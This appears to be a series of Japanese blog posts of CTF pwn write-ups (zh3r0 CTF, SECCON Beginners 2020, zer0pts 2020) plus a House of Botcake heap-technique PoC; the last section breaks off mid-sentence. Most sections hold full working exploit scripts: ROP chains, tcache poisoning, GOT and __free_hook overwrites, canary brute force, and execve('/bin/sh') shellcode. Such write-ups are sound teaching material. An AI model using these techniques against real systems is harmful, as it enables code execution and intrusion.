肝心のCTFの内容だが、開始と同時にサーバダウン・以降もずっとサーバ重々・変なdiscord問のおかげでdiscordのgeneralチャンネルがスパムで汚染されている・参加者全員に周知すべき内容(サーバダウン・問題パッチ等)をnotification boardではなく(汚染された)discordで言う・2秒で解ける非想定解(まあこれは仕方ない)・一度配布されたバイナリを度々パッチ当てたり追加したりする・異様にDMを促す(flagの内容もDMしてくれが多かった)・discord以外での通知無しで延長される・冗長な問題等々、運営が最高だった
別に批判するつもりはなく、CTFをホストするっていうのはやっぱり大変なんだなぁと思うと同時に、ちゃんと開催してきてるチームはすげえなぁと改めて思った
それと同時に、レポートをやる時間を返してくれとも思った
921: Snakes Everywhere (rev)
pwnが3問しか出ていない時に消化不良だったため解いたRev問
状況
pythonのディスアセンブルコード(もとのコードは本物のFlagを暗号化してる)と暗号化されたデータファイルが渡されている
解法
普通にpythonのディスアセンブルコードを読んで、それと逆のことをするプログラムを書いて暗号化データをデコードすればいい
exploit
def xor(str1,str2): return chr(ord(str1) ^ ord(str2)) flag = "" len_flag = 38 key = "I_l0v3_r3v3r51ng" with open("./snake.txt","rb") as f: cipher = f.read() for i in range(len_flag+63,63+len(key)//2,-1): flag += xor(chr(cipher[i]),key[i%16]) for i in range(len_flag//3*2+63,63+len_flag//3-1): flag += chr(cipher[i] // ord(key[i%len(key)] + i)) print("*") print(flag) ''' # original code def xor(str1,str2): return chr(ord(str1) ^ ord(str2)) # file length == 38(0x26) flag = "zh3r0{fake flag}" key = "I_l0v3r3v3r51ng" if len(flag) == 38: print("ERROR") exit() ciphertext = "" for i in range(len(flag)//3): ciphertext += chr(ord(flag[i])*ord(key[i])) for i in range(len(flag)//3,len(flag)//3*2): ciphertext += chr(ord(flag[i]) * ord(key[i%len(key)] + i) for i in range((len(key)//2,len(flag)): ciphertext += xor(key[i%16],flag[i]) '''
未完成なまま動かしたら殆どデコードできたから後は脳内補完した
zh3r0{python_disass3mbly_is v3ry_E4sy}
1: FreeFlag
状況
win()関数あり、StackOverflowあり。指を動かすカロリーのみが必要
exploit
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./chall" LIBCNAME = "" #hosts = ("asia.pwn.zh3r0.ml","localhost","localhost") hosts = ("us.pwn.zh3r0.ml","localhost","localhost") ports = (3456,12900,23947) rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker context(os='linux',arch='amd64') binf = ELF(FILENAME) libc = ELF(LIBCNAME) if LIBCNAME!="" else None ## utilities ######################################### win = 0x400707 def hoge(): pass ## exploit ########################################### def exploit(): global c c.recvuntil("name: ") raw_input("OK") c.send("A"*0x28+p64(win+1)) ## main ############################################## if __name__ == "__main__": global c if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ c = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": c = remote(rhp1["host"],rhp1["port"]) elif sys.argv[1][0]=="v": c = remote(rhp3["host"],rhp3["port"]) else: c = remote(rhp2['host'],rhp2['port']) exploit() c.interactive()
zh3r0{welcome_to_zh3r0_ctf}
46: Command 1
状況
バイナリ読んでないからわからん
exploit
Add: hoge
Edit: 0->sh
Run: 0
これでflagが取れる。残念な非想定解が存在した問題(レビュー時に気づかないのがちょっと不思議)
zh3r0{the_intended_sol_useoverflow_change_nextpointer_toFakechunk_in_bssname}
一瞬flagで笑わせに来てるのかと思った
想定解をflagに入れると、非想定解があったときにクソださくなるからやめようと思った
-32: Help
状況
./chall2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8706cc0104f816cb54565b44b7bcbb07bda87ac8, not stripped Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
冗長すぎるバイナリが配布される。これは何か妙技があるのかと思ったら、ただ冗長だった
.bssの指定の場所に一度のみ自由に書き込みできる
18byte stack overflowがある
解法
まずはlibcbaseをleakする
pop rdi gadgetを用いてgot[setvbuf]をrdiに積んだ後、main関数中のcall putsの直前に飛ぶようにROPする
puts()でlibc leakをしたあとも普通に2回目のmain関数は続きread()をする
2回目のmainにreturnする際にRSPは2回目のreadでgot[setvbuf]+0x20に対してreadをすることになるから、前述のROPの際FBPの場所に.bssセクションのアドレスを上書きし、.bssにはgot[setvbuf]+0x20のアドレスを書き込んでおき、onegadgetでGOT overwrite
最後に2回目のreturnをするところで、.bssに仕込んでおいたplt[setvbuf]にreturnして終了
exploit
censored
zh3r0{thanks_somuch_for_helping_my_friend____btw_please_DM_me_what_solution_did_you_use}
73.91: Command2
状況
double freeできるのでtcache poisoningして終わり
exploit
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./chall" LIBCNAME = "./libc.so.6" #hosts = ("asia.pwn.zh3r0.ml","localhost","localhost") hosts = ("asia.pwn.zh3r0.ml","localhost","localhost") ports = (7530,12900,23947) rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker context(os='linux',arch='amd64') binf = ELF(FILENAME) libc = ELF(LIBCNAME) if LIBCNAME!="" else None ## utilities ######################################### def hoge(ix): global c c.recvuntil("> ") c.sendline(str(ix)) def _add(command,size,description): global c hoge(1) c.recvline() c.recvuntil("> ") print("********::") c.send(command) c.recvline() c.send(str(size)) c.recvline() c.send(description) def _run(command,ix): hoge(2) def _del(ix): hoge(4) c.recvuntil("index: ") c.sendline(str(ix)) def _show(ix): hoge(5) c.recvuntil("index") c.sendline(str(ix)) ## exploit ########################################### def exploit(): global c _add("A"*0x18,0x600,"B"*0x600) _add("C"*0x18,0x38,"D"*0x38) print("[+] created two command") print("sleeping...") sleep(2) _show(1) print("[+] showed") c.recvuntil("C"*0x18) heapbase = unpack(c.recvline().rstrip()[:-1].ljust(8,'\x00')) - 0x950-0x1f0+0x200+0x70 print("heap: "+hex(heapbase)) c.recvline() _add(p64(0x41)*3,0x38,"F"*0x38) _del(1) _del(1) _del(0) #_add(p64(1)+"\n",0x38,p64(heapbase+0x50)) _add(p64(heapbase+0x260)+"\n",0x58,"E"*0x8) _show(3) c.recvuntil("E"*0x8) libcbase = unpack(c.recv(6).ljust(8,'\x00')) - 0x3ec110 print("libcbase: "+hex(libcbase)) ogs = [0x4f2c5,0x4f322,0x10a38c] _add("E"*0x18,0x38,p64(libcbase+libc.symbols["__free_hook"])) _add("/bin/sh;\n",0x38,"E"*8) _add("/bin/sh;\n",0x38,p64(libcbase+libc.symbols["system"])) hoge(4) c.recvuntil("index: ") c.sendline(str(5)) ## main ############################################## if __name__ == "__main__": global c if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ c = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": c = remote(rhp1["host"],rhp1["port"]) elif sys.argv[1][0]=="v": c = remote(rhp3["host"],rhp3["port"]) else: c = remote(rhp2['host'],rhp2['port']) exploit() c.interactive()
zh3r0{don't_let_heap_pwn_killed_dmmeyoursol}
1.3e+9: Blind
状況
バイナリが与えられていないblind pwn
blind pwnと言えばFSAでelfbase求めてなんたらみたいなのが多い気がしているが、本問ではlibcbase(みたいなもの。そうとは言われてない)が最初から与えられている
一度だけ入力を求められ、大量に入力すると以下のようになる
Core dumpedとは表示されているが明らかに本物のコアダンプではないため、自前のカナリアを飼っているものと考えられる
解法
ここらでTSGのsandboxで愚痴を言っていたところ
卍うにしいず卍さんがささっとカナリアを求めてくれたため、それを使ってret2libcで終了
(頭がついていなかったため 256^8 回のbrute-forceが必要かと思ってしまっていたが 256*8 回で良かった)
(coredumpが0x24以上からであり、8byte alignされていないの気持ち悪いなと思っていたら、カナリアのあとに0x4byte埋める必要があった)
exploit
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "" LIBCNAME = "../help/libc.so.6" hosts = ("asia.pwn.zh3r0.ml","localhost","localhost") ports = (3248,12300,23947) rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker context(os='linux',arch='amd64') #binf = ELF(FILENAME) libc = ELF(LIBCNAME) if LIBCNAME!="" else None ## utilities ######################################### def hoge(): pass ## exploit ########################################### def exploit(canary,num): global c with open("test.txt","w") as f: f.write("A"*0x20000) ogs = [0x4f2c5,0x4f322,0x10a38c] tro = "🏆" medal = "🥇" c.recvuntil("->") c.sendline("yes") #c.send("yes"+"A"*0x10) c.recvuntil("->") c.sendline("yes") c.recvuntil("-> ") libcbase = int(c.recvline().rstrip(),16) #print("libcbase: "+hex(libcbase)) c.recvuntil("->") c.send(medal*0x24 + canary + p8(num)) if "Core" in c.recv(4): return False else: return True def exploit2(): global c with open("test.txt","w") as f: f.write("A"*0x20000) ogs = [0x4f2c5,0x4f322,0x10a38c] tro = "🏆" medal = "🥇" c.recvuntil("->") c.sendline("yes") #c.send("yes"+"A"*0x10) c.recvuntil("->") c.sendline("yes") c.recvuntil("-> ") libcbase = int(c.recvline().rstrip(),16) c.recvuntil("->") canary = '\xc1\x16\x8b\x99\x91\x9b\x1a\x31' c.send(tro*(0x24//4) + canary + "A"*4 + p64(libcbase+ogs[2])*0x2) return ## main ############################################## if __name__ == "__main__": global c canary = "" if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ c = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": c = remote(rhp1["host"],rhp1["port"]) elif sys.argv[1][0]=="v": c = remote(rhp3["host"],rhp3["port"]) elif sys.argv[1][0]=="j": c = remote(rhp1["host"],rhp1["port"]) exploit2() c.interactive() else: c = remote(rhp2['host'],rhp2['port'])
zh3r0{Be_awareof_static_stack_cookie_}
-3.141592: \x32\x64
唯一長時間かけた問題
なんか途中で32bit modeになってスタックポインタがイカれるため
mprotect()で.bssセクションをexecutableにして
そこにpushを使わないシェルコードをぶち込んでおくという問題
但し一番焦ったのはflagを提出した気になって提出をしていなかったこと
しかもtmpディレクトリで作業していたため、解き終わった後にexploitを消してしまうという失態を犯した。まぁ上位を狙ってるわけでもないしflagを通さなくてもいいやということで放置した
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./chall" LIBCNAME = "" #hosts = ("asia.pwn.zh3r0.ml","localhost","localhost") hosts = ("asia.pwn.zh3r0.ml","localhost","localhost") ports = (9653,12300,23947) rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker context(os='linux',arch='amd64') binf = ELF(FILENAME) libc = ELF(LIBCNAME) if LIBCNAME!="" else None ## utilities ######################################### def hoge(): pass ## exploit ########################################### def exploit(): global c addr_main = 0x400130 addr_bss = 0x600000 c.recvuntil("name: ") # mprotect(addr_bss,0x1000,7)でbssをexecutableにする # rdiにはreadの返り値として0x7dを入れて0x4000e8でraxにmov c.send(p64(addr_bss)+p64(0x7)+p64(addr_bss)+p64(0xff)+p64(0)+p32(0x4000e8)) c.recvuntil(": ") # executableにした後でexecve("/bin/sh") shellcode = asm("mov eax,0xb") shellcode += asm("mov ebx,{}".format(hex(addr_bss+0x4))) shellcode += asm("mov ecx,0") shellcode += asm("mov edx,0") shellcode += asm("int 0x80") pay = p32(addr_bss+0xc)+"/bin/sh\x00"+shellcode pay += "\xc9"*(0x7d-len(pay)) c.send(pay) ## main ############################################## if __name__ == "__main__": global c if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ c = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": c = remote(rhp1["host"],rhp1["port"]) elif sys.argv[1][0]=="v": c = remote(rhp3["host"],rhp3["port"]) else: c = remote(rhp2['host'],rhp2['port']) exploit() c.interactive()
zh3r0{is_it_32bit_or_64bit}
9: armpw
ARM問っぽかったのでバイナリを見ることさえしませんでした。完
92: アウトロ
見出しのところの見出し番号、別に自然数順にする必要ないなぁと思って小数負数ありの適当な順番で組んでみたんですが、やっぱ見にくいですね
数字は整列した整数に限ります
自宅にGが出たら発狂するくらい嫌なのに
他人の家に出たら何であんなにテンション上がるんだろうなぁ
続く............
【pwn 29.0】SECCON Beginners CTF2020: writeup供養
GOT exploit / sophisticated beginners chall / FSA / NULL-overflow to invoke consolidation
1: イントロ
いつぞや開催された SECCON Beginners CTF 2020
競技中はあまり関与せず、molec0n CTFを眺めたり(眺めるだけ)、課題レポートをやったりしていましたが、終了後に全て解きました
折角なのでwriteupを供養します
2: Beginner's Heap
Point
めちゃめちゃ良い教材だと思います、1年前に出会いたかった...
概要
libc2.29におけるtcacheの問題
指示されたとおりにやっていればflagが貰えるようになっている
exploit
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys rhp1 = {'host':"bh.quals.beginners.seccon.jp",'port':9002} #for actual server rhp2 = {'host':"localhost",'port':12300} #for localhost rhp3 = {'host':"",'port':23947} #for localhost running on docker context(os='linux',arch='amd64') def exploit(conn): conn.recvuntil("free_hook>: ") freehook = int(conn.recvline().rstrip(),16) conn.recvuntil("win>: ") win = int(conn.recvline().rstrip(),16) conn.recvuntil("hint") print("win: "+hex(win)) print("freehook: "+hex(freehook)) conn.recvuntil("> ") conn.sendline("2") conn.sendline("A"*8) conn.recvuntil("> ") conn.sendline("3") conn.recvuntil("> ") conn.sendline("1") conn.send("A"*0x3*0x8 + p64(0x21) + p64(freehook)) conn.recvuntil("> ") conn.sendline("2") conn.sendline("hoge") conn.recvuntil("> ") conn.sendline("1") conn.send("A"*0x18 + p64(0x31)) conn.recvuntil("> ") conn.sendline("3") conn.recvuntil("> ") conn.sendline("2") conn.send(p64(win)) conn.recvuntil("> ") conn.sendline("3") if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) elif sys.argv[1][0]=="v": conn = remote(rhp3["host"],rhp3["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()
3: Elementary Stack
問題概要
自明なOOBがありheapへのポインタを書換えてGOT overwrite
point
got[atol]を直接書き換えると引数も渡せないし、そもそも次のatol()で死ぬため1個上のgot[malloc]を書き換える
あとは FSA で libcbase を leak して終わり
exploit
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "chall" rhp1 = {'host':"es.quals.beginners.seccon.jp",'port':9003} #for actual server rhp2 = {'host':"localhost",'port':12800} #for localhost rhp3 = {'host':"",'port':23947} #for localhost running on docker context(os='linux',arch='amd64') binf = ELF(FILENAME) libc = ELF("./libc-2.27.so") def hoge(conn,ix,val): conn.recvuntil("index: ") conn.sendline(str(ix)) conn.recvuntil("value: ") conn.sendline(str(val)) def fuga(conn,ix,val,piyo=True): conn.recvuntil("index: ") conn.send(ix) if piyo: conn.recvuntil("value: ") conn.send(val) off_system = 0x4f440 def exploit(conn): hoge(conn,-2,binf.got["malloc"]) # bufferをgot:mallocに向ける(使用するgotに向けるとそいつが呼び出せなくなるから注意) fuga(conn,p64(0xaaaa)+p64(binf.plt["printf"]),"%25$p\n") # atolをprintfにしたあと、atol("%25$p")でlibcbase leak libcbase = int(conn.recvline(),16) - 0x21b97 fuga(conn,p64(0xaaaa)+p64(libcbase + off_system), "/bin/sh\0") if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) elif sys.argv[1][0]=="v": conn = remote(rhp3["host"],rhp3["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()
4: ChildHeap
問題概要
- double free可能(libc2.29だから死ぬけど)
- 任意size malloc可能
- ユーザ側で保持できるchunkは一つ
- NULL overflow
- chunkをfree()するかfloat状態にさせておくかは自由
point
libc 2.29の誘導なしheap問
但しやることは突飛なことはないが、chunkが一つしか保持できないため若干面倒
まずNULL overflowを利用してtcacheのsizeを0x100に変えていきtcache[0x100]を溢れさせる
その途中でtcacheのfdを読んでheapbaseをleakしておく
あとはいい感じに chunk forge して back consolidation で overlapped chunk を作って
libcbase leak と freehook overwrite をする
ここらへんは正直メモリを眺めながら何となくでexploitを書いていればできるため、上手く説明のしようがないが
このあとのexploitでにおいて 「Fig.x」としてある状態のヒープのイメージ図を以下に用意した
exploit
自分の書いたPoCでは割と回りくどいことをしていたため、解き直して作問者様のPoCに寄せた
Fig.1~4と書いてある時点のヒープレイアウトが上の画像に対応している
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./childheap" rhp1 = {'host':"childheap.quals.beginners.seccon.jp",'port':22476} #for actual server rhp2 = {'host':"localhost",'port':12500} #for localhost rhp3 = {'host':"localhost",'port':23947} #for localhost running on docker context(os='linux',arch='amd64') binf = ELF(FILENAME) libc = ELF("./libc-2.29.so") ogs = [0xe237f,0xe2383,0xe2386,0x106ef8] def hoge(conn,ix): conn.recvuntil("> ") conn.sendline(str(ix)) def alloc(conn,size,content): hoge(conn,1) conn.recvuntil("Size: ") conn.sendline(str(size)) conn.recvuntil("Content: ") conn.send(content) def delete(conn,yesno=True): hoge(conn,2) conn.recvuntil("Content: '") data = conn.recvuntil("'")[:-1] conn.recvuntil("] ") if yesno: conn.sendline("y") else: conn.sendline("n") return data def wipe(conn): hoge(conn,3) def de(conn): delete(conn) wipe(conn) def ade(conn,size,overflow=False): a = "A"*size if overflow else "A"*(size-0x8) alloc(conn,size,a) de(conn) def aw(conn,size,overflow=False): # without delete a = "A"*size if overflow else "A"*(size-0x8) alloc(conn,size,a) wipe(conn) off_libc = 0x1e4e90 off_freehook = 0x1e75a8 off_system = 0x52fd0 def exploit(conn): ssize = 0x18#0x28 msize = 0xf8 lsize = 0x108#0x128 ## fulfill tcache ade(conn,msize) for i in range(0x5): ade(conn,ssize) ade(conn,lsize) aw(conn,ssize,True) ade(conn,lsize) # now tcache has 6 chunks, 5 of them have fake size ## leak heap addr alloc(conn,msize,"A"*8) delete(conn) heapbase = unpack(delete(conn,False).ljust(8,'\x00'))-0x710 print("heapbase: "+hex(heapbase)) wipe(conn) ## forge fake chunk fake1 = "B" * 0x30 fake1 += p64(heapbase + 0x9b0) + p64(heapbase + 0x9b0) fake2 = p64(0) + p64(0x100) fake2 += p64(heapbase + 0x990) + p64(heapbase + 0x990) ade(conn,ssize) ade(conn,lsize) aw(conn,ssize,True) alloc(conn,lsize,fake1+fake2) de(conn) print("Fig.1") # tcache[0x100] is full ade(conn,ssize+0x20) ade(conn,lsize) alloc(conn,ssize+0x10,(p64(0)+p64(ssize+0x8+1))*2) wipe(conn) alloc(conn,ssize+0x20,"C"*(ssize-0x8+0x20)+p64(0x100)) # null overflow de(conn) print("Fig.2") alloc(conn,lsize,(p64(0)+p64(0x21))*0x10) print("Fig.3") de(conn) # consolidate print("Fig.4") ## leak libcbase alloc(conn,0,"") libcbase = unpack(delete(conn,False).ljust(8,'\x00')) - off_libc print("libcbase: "+hex(libcbase)) de(conn) ## print("free_hook: "+hex(libcbase+off_freehook)) inj = "D"*0xa0 inj += p64(libcbase + off_freehook) inj += p64(heapbase + 0x10) alloc(conn,0x128,inj) # overwrite tcache[ssize+0x20]'s fd wipe(conn) alloc(conn,ssize+0x20,"G"*8) # wipe(conn) alloc(conn,ssize+0x20,p64(libcbase + off_system)) # overwrite free_hook wipe(conn) alloc(conn,0x70,"/bin/sh\x00") delete(conn,True) if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) elif sys.argv[1][0]=="v": conn = remote(rhp3["host"],rhp3["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()
5: flip
問題概要
一番難しかった
終わってみれば若干の工夫こそ必要なもののやったことは複雑じゃないのに
何故か解くまでにめちゃくちゃ時間がかかった
というかGOT問が苦手なのかもしれない
point
- GOT overwrite (setbuf->puts)
- 相対書換え
got[_stack_chk_fail] と got[exit] の書換えを上手く使いわけて、setbufが呼ばれるループ・呼ばれないループを作り上げる
なお終盤まで flip 操作を暗算で行おうとしていたため、脳が死亡した
exploit
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "flip" rhp1 = {'host':"flip.quals.beginners.seccon.jp",'port':17539} #for actual server rhp2 = {'host':"localhost",'port':12500} #for localhost rhp3 = {'host':"",'port':23947} #for localhost running on docker context(os='linux',arch='amd64') binf = ELF(FILENAME) libc = ELF("./libc-2.27.so") ogs = [0x4f2c5,0x4f322,0x10a38c] def hoge(conn,target,n1,n2): conn.recvuntil(">> ") conn.sendline(str(target)) conn.recvuntil(">> ") conn.sendline(str(n1)) conn.recvuntil(">> ") conn.sendline(str(n2)) def fuga(conn,target,_from,_to): diff = _from ^ _to nums = [] tmp = -10 for i,c in enumerate(bin(diff)[2:][::-1]): if c=='1': nums = nums + [i] print(nums) while len(nums)>0: n1 = nums[0] nums = nums[1:] if len(nums) == 0: n2 = tmp else: n2 = nums[0] nums = nums[1:] if n2 != tmp: if n1//8 != n2//8: nums = [n2] + nums n2 = tmp #print("{} {} {}".format(n1//8,n1%8,n2)) hoge(conn,target+(n1//8),n1%8,n2) else: #print("{} {} {}".format(n1//8,n1%8,n2%8)) hoge(conn,target+(n1//8),n1%8,n2%8) else: #print("{} {} {}".format(n1//8,n1%8,n2)) hoge(conn,target+(n1//8),n1%8,n2) def exploit(conn): #got exit を start に hoge(conn,binf.got["exit"],4,5) # got_exit into start+6 hoge(conn,binf.got["exit"],1,2) # got_exit into start ## start loop # stack_chk_fail into main fuga(conn,binf.got["__stack_chk_fail"],0x0676,0x07fa) # got[exit] to plt[stack_chk_fail] fuga(conn,binf.got["exit"],0x06e0,0x0670) ## main loop # got[setbuf] into puts fuga(conn,binf.got["setbuf"],0xf04d0,0xe89c0) # got[exit] into start fuga(conn,binf.got["exit"],0x70,0xe0) ## start loop # stderr into stderr+0x8 fuga(conn,binf.symbols["stderr"],0x80,0x88) conn.recvuntil("Done!\n") conn.recvuntil("\n") libcbase = unpack(conn.recvuntil("\nI")[:-2].ljust(8,'\x00')) - 0x3ec703 print("[+] libcbase: "+hex(libcbase)) ################# 以降自由な世界 運が必要ないって素晴らしい ################## # got[exit] into plt[stack_chk_fail]+6 hoge(conn,binf.got["exit"],4,7) # got[setbuf] into system fuga(conn,binf.got["setbuf"],libcbase + libc.symbols["puts"], libcbase + libc.symbols["system"]) # stderr->flag into /bin/sh\x00 fuga(conn,libcbase + libc.symbols["_IO_2_1_stderr_"],0xfbad2087,unpack("/bin/sh\x00")) # stderr into stderr fuga(conn,binf.symbols["stderr"],libcbase + libc.symbols["_IO_2_1_stderr_"]+8,libcbase + libc.symbols["_IO_2_1_stderr_"]) # got[stack_chk_fail] into start fuga(conn,binf.got["exit"],binf.plt["__stack_chk_fail"],binf.symbols["_start"]) if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) elif sys.argv[1][0]=="v": conn = remote(rhp3["host"],rhp3["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()
6: アウトロ
ルクセンブルクって
ル・クセンブルクなのか
ルクセンブル・クなのか分からないし、
ルクセンブルク大統領に至っては
ル・クセンブルク大統・領なのか
ル・クセンブル・ク大・統領なのかわかんないよな........
続く・・・
【pwn 28.0】 House of Botcake
House of Botcake / back-consolidation / heap-tech / libc2.29
1: イントロ
ある夜中に pwn の問題を作ろうとウトウトしながら過去のexploit手法を漁っていた
いくつか作りたい問題のアイディアこそ挙げていたのだが、その中にtcacheを題材としたものがあった
libc2.28 から tcache には新しく key というメンバが追加され、 free() されるとそこに tcache のアドレスが代入されるようになった
同時に free() の際には key の値をチェックし、もしこれがtcacheのアドレスと同一であった場合には double free としてエラーを吐くというような検知機構になっている
(厳密には key は free() 前にはユーザランドに存在し、 1/2^64 の確率で tcache のアドレスと一致してしまうため、仮に free() 時に偶然にも key==tcache となっていた場合には tcache のエントリを全探索して他のbinのような double free 検知を行うようにしてある。 キャッシュ効率を高める tcache の原理に反しているように思えるが、その再現確率の低さとtcacheの最大サイズが7であることによる全探索のコストの低さを考慮したものと思われる)
これ故に double free で chunk を tcache に繋げることは以前より難しくなっている
この機構をbypassする問題がなにか作れないかなぁと思い
モンスターを飲みながら、以前書いたブログの下書きである「既に使えなくなったpwn exploit一覧と現状」というエントリを見直していた
丁度 House of Einherjar を復習していた
これは _int_free() における back consolidation に於いて prev_size と PREV_INUSE を改変するというテクニックであるのは赤子から老人まで万人が知ることである
この back consolidation を利用して tcache 関連の問題を作れないかと考えて
深夜1時にアイディアを思いつき PoC を書いたところ
libc 2.29 環境下に於いて free済み chunk を tcache に繋ぎ
更にその fd を任意に書き換えることで AAW を実現することができた
こりゃあいいと思い、ブログを書く準備をしていたところ・・・
既出!
既出!!!!!
既出!!!!!!!!!!!
名前までご丁寧につけられていて House of Botcake と言うそうです
2: House of Botcake
how2heap の commit 履歴に依ると、 2020年2月に公開された模様
できること
制約
・ 2種類のサイズの malloc()。 そのうち一つのサイズに対しては 9回 malloc() ができること
・ プログラムのロジック的に一度だけ double free が可能なこと
手法とPoC
おそらく House of xxx 系では一番シンプルだと思われる
まずは PoC が以下の通り
#include<stdio.h> #include<stdlib.h> #include<string.h> #define WAIT while(fgetc(stdin)!='\n'); #define ull unsigned long long ull ogs[3] = {0xc1710,0xdf202,0xdf20e}; int main(int argc,char *argv) { // for the simplicity, let me gather some libc information ull libcbase = (ull)stdout -0x3b4760; ull malloc_hook = 0x3b3c30 + libcbase; // House of Botcake ull *a[7]; for(int ix=0;ix!=7;++ix) //just to fulfill tcache a[ix] = malloc(0x90); ull *b = malloc(0x90); //invoke consolidation ull *c = malloc(0x90); ull *d = malloc(0x90); //avoid consolidation for(int ix=0;ix!=7;++ix) free(a[ix]); free(c); free(b); //invoke back-consolidation and overwrite c's key a[0] = malloc(0x90); // make space for c free(c); // connected to tcache. its key is no longer &tcache a[0] = malloc(0x120); // picked from unsortedbin and contains c in it *(ull*)(((ull)a[0]) + 0x90 + 0x10) = malloc_hook; a[1] = malloc(0x90); a[1] = malloc(0x90); *a[1] = (ull)(libcbase + ogs[0]); malloc(0x300); // invoke onegadget and get shell return 0; }
殆どコメントに付してある通りである
まず最初にtcacheを満員にする用7つ、 back consolidation用2つ、 avoid consolidation用1つのchunkを確保しておく
その後7つのchunkを free() して tcache を満員にする
その後 C を free() すると、 これはunsortedに入るため bk (key) には main_arena のアドレスが入る
その後 B を free() すると、back consolidationが起こり BとC が合体する
この際 C のメタ情報は消去されずに、 大きな chunk に包含されるかたちで取り残される
この取り残された C に対して再び malloc() をしてやると
key のチェックでは入っている値が &tcache ではなく &main_arena であるから double free の検知には引っかからず C は tcache に繋がれることになる
しかも、その後任意のサイズ(>0x90)の malloc() をすることで B+C の unsorted から chunk が切り出されるのだが
それにより C の fd を任意の値に書き換えることができて AAW となる
実際に PoC を動かしてみると
tcache に繋がっているのは 0x555555757760 の chunk であるが
これは 0x5555557576b0 の chunk(=B+C) に包含されていることが分かる
手元の環境では __malloc_hook overwrite で onegadget に飛ばせることを確認した
3: アウトロ
自分のアイディアなんて5億年前に誰かが既にやっとる
続く
【pwn 24.0】 zer0pts CTF 2020 writeup (に満たない何か)
forge _IO_FILE_plus / type confusion / FSA / ret to ret to avoid movaps
- 1: イントロ
- 2: hipwn
- 3: diylist
- 4: grimoire
- 5: babybof / protrude
- 6: syscall kit
- 7: wget
- 8: meowmow
- 9: Survey
- 10: アウトロ
1: イントロ
いつぞや開催された zer0pts CTF 2020 にチーム TSG として参加した
チームでは 8847点 を取り、 そのうち自分は 1382点 を解いて全体で 12位だった
pwn中心のCTFなのにもっと得点源になれないのはカスすぎますね
少しでもチームの得点に貢献できる日はいつになるのやら
2: hipwn
やるだけ太郎
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./chall" rhp1 = {"host":"13.231.207.73","port":9010} rhp2 = {'host':"localhost",'port':12300} context(os='linux',arch='amd64') binf = ELF(FILENAME) int3_gad = 0x0040088c syscall_gad = 0x004024dd pop_rax_gad = 0x00400121 pop_rdi_gad = 0x0040141c pop_rdx_gad = 0x004023f5 pop_rbx_gad = 0x0040019b pop_rsi_r15_gad = 0x0040141a def exploit(conn): conn.recvuntil("name?\n") pay = "/bin/sh\x00" pay += "A" * (0x108 - len(pay) - len("/bin/sh\x00")) pay += "/bin/sh\x00" pay += p64(pop_rax_gad) pay += p64(59) pay += p64(pop_rdi_gad) pay += p64(0x604268) pay += p64(pop_rsi_r15_gad) pay += p64(0) pay += p64(0) pay += p64(pop_rdx_gad) pay += p64(0) pay += p64(syscall_gad) conn.sendline(pay) if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ conn = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": conn = remote(rhp1["host"],rhp1["port"]) else: conn = remote(rhp2['host'],rhp2['port']) exploit(conn) conn.interactive()
結果
3: diylist
値を格納又は読み出しする際に、型を指定することができる
char* 型としてアロケートしたときのみmalloc()される
char* として allocate した後に
